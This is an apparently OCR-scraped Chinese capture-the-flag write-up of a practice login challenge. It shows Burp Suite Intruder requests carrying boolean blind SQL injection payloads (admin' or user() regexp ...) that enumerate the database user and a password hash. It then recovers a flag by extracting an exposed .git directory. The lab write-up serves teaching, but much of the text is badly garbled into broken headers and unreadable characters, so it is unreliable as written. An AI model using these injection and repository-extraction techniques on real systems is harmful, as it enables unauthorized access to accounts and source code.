iFKER

weixin 30701575 o F 2019-09-16 15:56:00 K47 o 980 k e
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i payload: admin' or user() regexp '"*a'%23 (fif Fjavaf)IENRIE X RIITEE, FH#FurgmiD%23RF B G
HHNE) HiEMEE

Reguest Response

4@ ERES TH'WT Hex l @ .He:ders'[ Hex ]

POST /Challenges/login. php HITR/1.1 & HITES1.1 200 0K

Host: 042dcSele’1845aca88901aldcl 51657008807 8c28edecf. changane. 1chungiu. con - Date: Tue, 10 Sep 2019 13:36:01 GAT
Centent-Length: 49 Content-Type: text/htal: charzet=utf-§
Cache—Centrel: max-age=0 Cantent-Length: 18

Origin Commection. close
http://942dceleT1945acal891al4cl B1EFSTO08807F3c28e4ecf. changane, ichunqiu. con N-Via-JSL: 1d2d83a. -
Upgrade—Insecure-Requests: 1 ¥-Cache: bypass

Cantent-Type: application/z—www—formurlencoded

User-Agent: Mozilla/5.0 (Windews NT 10.0: WOWS4) AppleWebKit/537.36 (EHTML. like P R4V

Gecks) Chrome/63.0.3239.26 Safarif537.36 Core/1.83. 8726, 400 QQBrowser/10. 2. 2265, 400

Accept

text/htwl, spplication/zhtul+xul, application/=znl:q=0. 9, inage/webp, image/apng. »/ = q=0
.8

Feferer

http://942dceleT 1943aca889 1Al 401 BLEFSTO0I807F 3o 28040k, changane, ichunqiv. con/Challe

nges/index, php

Accept=Encoding: gaip., deflate

Accept-Language: gh—CN, zh:gq=0. 9

Cookie

UN_distinctid=16c3373F27d4f5=-0df0d031400707=333a4b Td=144000=-16c3373£ 1 Tehal

chlphene=ac Tz NpzhdpDi Achhfu SnE qriGuD TO0000 ;

brewze=CF1 I T=UYUOBEU1FG VO] TRFEI Sk deQFBYFVpFRFIRWURTUL 1PNONLTHG ;

Ha_lvt_2d0601bd28deTd49818249c£35d95943=1567332365, 1568012536, 1568102311, 1568115035
ci_seszionmdTEf 75 74cf 7004487764767 al008ba39a82 1081

Hn_lpvt_2d0601bd28deTd49818240ef35405043=1568117651 .

__Jsluid_k=0788380439348708 ledbabE02dIl6eTa

Cormection: close

usernane=admin’ or user () regexp " @' %23ppassword=123

AR I Nintruder 47 12 5
OclearfE H ALK&, Xtam L&


https://blog.csdn.net/weixin_30701575
http://www.cnblogs.com/wosun/p/11527745.html

Aftack type: | Smpar

POST /Challenges/login. php HIIR/L. 1

Host: $42dcieleT1045acaBER1aldclFLEETT00000TE e 2 Bedect . changame. 1chungiu. con

Comtemt-Length: 48

Cacke—Control: max-age=0

Oragem: brtpe //840de8e1eT18450ca225 LAl LALGFATO0BBOTE Be 2Bedeet. changase. 1chimyin. con

Upgrade-Inaecuse-Requests: 1

Comtemt-Type: applicatison/z—ww—lare-urlancaded

Deer-Agerst . Haz F6. 0 (Windews BT 0.0, WOWG4) AppleTeblit/537.35 (KHTHL, like Geckol Choreome/§3.0.3230, 26 Safars/537.38 Carae/l. 63. 6726, 400
B ewsar/ L0 . 800

Aecept: text/htal, application/zhtal+ml. application/zal qel. 5. image/webp, inage/apng, ©/* 0. 3

Referer: http //942dc5eleT1B45aca3390al4c 151655 T0DBEOTE B 28edect . changane. ichungiu, com/Chal lenges/ index, php
Aecept-Bncoding gaip, deflate

Accept-Language zh-CH, zhig=0. %

Coolrie: M_distinctid=16c5375E 27445~ 04 0d0140070T=335000 T4 L 4d000-16c51756 2 Tebal : chirphisme=ac FxHpxhdpD 14 chl
rowse=CF LI TxUVUORE U1FG VO] TRFE D SodeCPR YWY pPRPORFURTULIPROMLIG . Ha_Lvi_2d0801bd28de TAASE1ST49c115d05043=15 2
o1 _sess o T578cf o TO0L4aTTEATE i

Commeciton: close

D IO
19, 1588102511, 1568
4393487081 edbntB

28
—1sluid_fe

usermmmesadnin’ or user () regexp © §af VI3Epaamwerd=13

@7EpayloadsH ik #add from list# fia-z, A-Z, 0-9K)F it

[Target I Positions EMJ Options ]

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the atta
and each payload type can be customized in different ways.

Payload set: l‘l }.'J Payload count: 26

Payload type: lSimple list }.'J Request count: 26

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.
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[ Target T Positions TPaylnads T Options }

w Payload Sets

You can define one or more payload sets. The number of payload sets depends on the atta
and each payload type can be customized in different ways.

Payload set: [1 |v] Payload count: 26

Payload type: [Simple list |v] Request count: 26

w Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

| Paste | |a =
(Romone | |° g
. Clear | |f

q v

OJFIaRE, KWK EEKEA—HKTE, WHE LT AU (BU)

Intruder attack & - ] X
Attack Sawe Columns

| Resits | Target | Postions | Payloads | Options |

Filter: Showing all items

T

Request | Payload |Status | Emor | Timeout | Length & Comment

2 u 200 U Ll 186 A [payh

47 u 200 U L] 186 5
200 | | 192

1 a3 200 192

2 b 200 d O 192

k] c 200 g O 192

4 d 200 g O 1s2

5 e 200 U L 192

6 f 200 U L 192

7 g 200 O [l 192 ]

@7t payloadsftipositionsH, 7E725 & $aSai s in Rl Rt 1) 28 — O F RRudk T 1Rk 238 — AL



[ Taget [ ostsons | Patonds | ogtcns |

li Payload Positions

Configure the posisons where payloads well be inserted mbo the base request. The attack type determmnes the wary in which payloads are assigned fo payioad positions - see help for full
detals

Astack type: | Sniper i

POST /Challenges/lagin phe ETTP/L. 1

Host: S47defeleTIS45acaBERlaldc151605700880T B 9 dect. changame. 1emalu. com

Content-Length: 4%

Cache-Control: max-age=n

frigin: hitp //8424cieleT18G2000 B840l F16EST00000 T B I0edent, changane, 1chungiu, com

Ipgrade=[nsecure=Requests: 1

Content=-Type: application's=verforweur Lencoded

User-Agent- Wozilla/S. 0 (Pindows N1 00.0: TOPE} AppleebBit/537. 35 (KHTML. like Gecks! Chrowe/S3. 0, 3230, 36 Safari/537, 36 Core/L. 63, 6726, 400
WBrowses/ 10, 2, 7265, 400

Accept: text htal. applicaticn/sheal+wsl. application/zal (=i, 0, imsgs/wvehp, image/apng, == q=0. B

Refwier: hitp //#47dcheleTi245acaBE0 aldc1516F57008B0 TFEc adnct . changans. schungiu. con/Chal lenges/ index. php

hceept-Encading: gzip, deflate

Accept-Language: kTN, =h g90. 9

Cookie: UN_distimetid=]lBeb3T00 2740 04dNd0Z]1 4007 07- 2350 Td= 144000~ 1 6 63TH ITebal |, chlphone=n: TxipehOpD s dehhluSnE gy b Qul 100000

by owse=CF LI TxIVUOETULPGVO] IRFEZ SkdeQFETWYpFIFSAVURTUTIFTONLTHG . Ha_lve_2d0601hd478de T445918240e 135495043130 7032B65. 1568012535, 1568102501, 1568115035
o1_session=8 L T3 e e TO044aT 18476 Tal509balBabc 1091 Ha lpwvi 2d0E0LLA2Bde TA4ST1A240cfF5d05043=1 309117631 __asluad he07BE2ER439348T0E edbafB02d 300 Ta
Commectian: close

username=aduin’ or user (! regexp ' Wi af’ A2 Mpassword=12]

OBLE ks

Intruder attack 8 — O
Attack Save Columns

M Target | Positions | Payloads | Options |

| Filter: Showing all items

Request | Payload |Status | Emor | Timeout | Length 4| Comment
19 s 200 D] [ 186
45 s 200 a L 186
0 200 o 0o 192
1 a 200 o O 192
2 b 200 = O 192
3 c 200 a o 19
4 d 200 O O 1@
5 e 200 o O 192
6 f 200 a L 192
7 g 200 o 0o 192

@WK IR Huser() I £FR Nuser
7t AT DA P X o 5 vE AR YR 3R B8 Hrusername Xt B class - B

<html>
{mata http-equiv="content-type” content="text/html; charset=utf-8">
<head>
<titledLogind/titler
<Sheadr

<form action="login php” method="post™>
BPE: <drput type="text” name="username” class="
=R, {input type="password” name="password” class="p3ss_wlrd” >
Zinput type="submit” value="$8%7">
</form>

<bodyr

</ html>

]

[



QB ewaer/l 400 3

Accept: text/htal. application/zhtmléxal, application/zal; g=0, 9, 1 n Imtruder attack 17
Referer: http //942dcGeleT1545acBE0lal 4c L 516E5TO0RI0TE B Theduct,
Accepr-Encoding gzip. deflate Atack Save Columns

Aecept-Language: sheCH. zh:g=0. 0 N

Cockie: UN_distinetids|5cE375027 447 5-04F 4031 400707-335adbTd- 144 g Tanget | Positions | Payleads | Options
browse=CF1ITxUVUOBfULRG VO] IRFBISkdeQFEYWVpFRF ORVOR O 0POLT G &0 —
ci_session=TEET5TAcEcT0044aT TRA7ETa250haSPabc 1081, Hu_lpwt_290§ Filter Showing all tams
Camnection cloge

usernase=adein’ or uzer_niee regexp ~ beef §a N2 ré=123 :.:pﬂit | Baylesd lxﬁ IE": |rl"jﬂwm |
——— 57 3 200 g a
T 2 1
1 a 200 ]

(B 5 1% 1 kR Zbctf3dm1n)
BHAE%N (FHkZ2bfb1532857ddc0033fdae5bde3facdf)
XRMASIER, —FHBRXAKBEANE), mdsiEz HkZadminqwe123666

Uger-Agent: Mezilla/S. 0 (Windews HT 10.0: VOVE4) AppleWebKit/B37. 36 (KHTHL. - =
QQBrewser,/10, 2, 2265, 400 Intruder attack 24

Accept: text/htel, applicationzhtel+xel, application/zal:q=0. 9, izags/webp. i n
Referer: http://942dcheleT1845acaBB91a14c1516E5T00ER0TEBc20edect. changame. 15 Attack Save Columne
Accept-Encoding: gzip, deflate
Accept-Language: zh—CN. zh;g=0.9 Target I Positions I Payleads IOﬂJnm ]
Cockie UM _distinctid=lGeS3T002Td4rE-0df0dDI1400707-330adb T d- 144000165375 ==
bt owne=CF LI TxUY MBI FE V0T TRFEISk deQF EYNVpFRF ORMURTUL IFVORL Th . He_lwt_2d064 Filter Showi Il ite
£i_sessiommOTEFTSTACE e T0044aT TEATETATE 0 baS0ahe 1001 ; Ha_lpve 74060 Thd2BdeTad| o o d o e

Comnection: close Raquest |F |m JEﬂﬂ' |“mMm
ugernaReaduin’ of pIss_wird regexp ' ShEBIASISATAS0IS  dantibdedfacaf S48 |53 200 = (ST ]
. o |0 200 g o s
1 & 200 = o 1%
2 b 200 U o
a 8 200 | g 1
4 d 200 2 o 1=
5 ] 200 0 B 1
[ f 200 = o 1
T a 200 = o e
a h 200 O 8 1

REEEFZF
L4 G M o de2ccTe033dBA746886c alc 24403651 Ib2165eSe 51 48 changame.ichungiucom/Challenges/loginphp FE - 8
oz | [ mERs O eems W oemxesvooc; o EnFamm O 7o) cHome @ SICNU Q) | Cont B EPHPETRmE  © Reed . wnt O FrEeEE

X @i R } A8 3 A F= =

root@betf:
root@betf:
root@betf s -a
bctfglt index.php loginphp
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MARER RN XIEREH A7, Rt

2iRgithack T &Rk (FH Kigtihack#hi JBfR: https:/github.convgakki429/Git_Extract)



d62cc7e033d84746886cfafc62449365f3b2f65e9e5f4B8cf.chan... » Challenges »

* i e = 5y ] BB 7
=% R HY 5

.betfgit 2019/9/16 13:4
& flag.php
flag.php.a17d8g

T8 T RA Mlag.phpT FHfi

flag.php

Users > 18 Desktop > tools > Git_Extract-ma

HiFRANflaghEX B, HR2flagihEgitH
BEUA — AN A flagf B 52 X G 88 Nphp, ¥ HFTIF



W TIag.pnp 2UlY/Y/ 10 154 JETBrains FNpsTo...

™} flag.php.a17d89.php 2019/9/16 13:41 JetBrains PhpSto... 1KB

flag.php.a17d89.php - Untitled (Workspace) - Visual Studio Code

flag.php.a17d89.php

R B VFRERATT — A3

< O f I afc 624493651 3b2fB5e e S48 changame.ichungiu.com/Chal len ges Bed5cash 1872
o 1E FEms W SRS EMoD C iEEFaim 700 = Horme & SICNU O | Cor & APHPMT R = EEEE - e LS Es;
» = F—+ E—

flagidedcde2c-026c-4f06-8e58-678addB49862)
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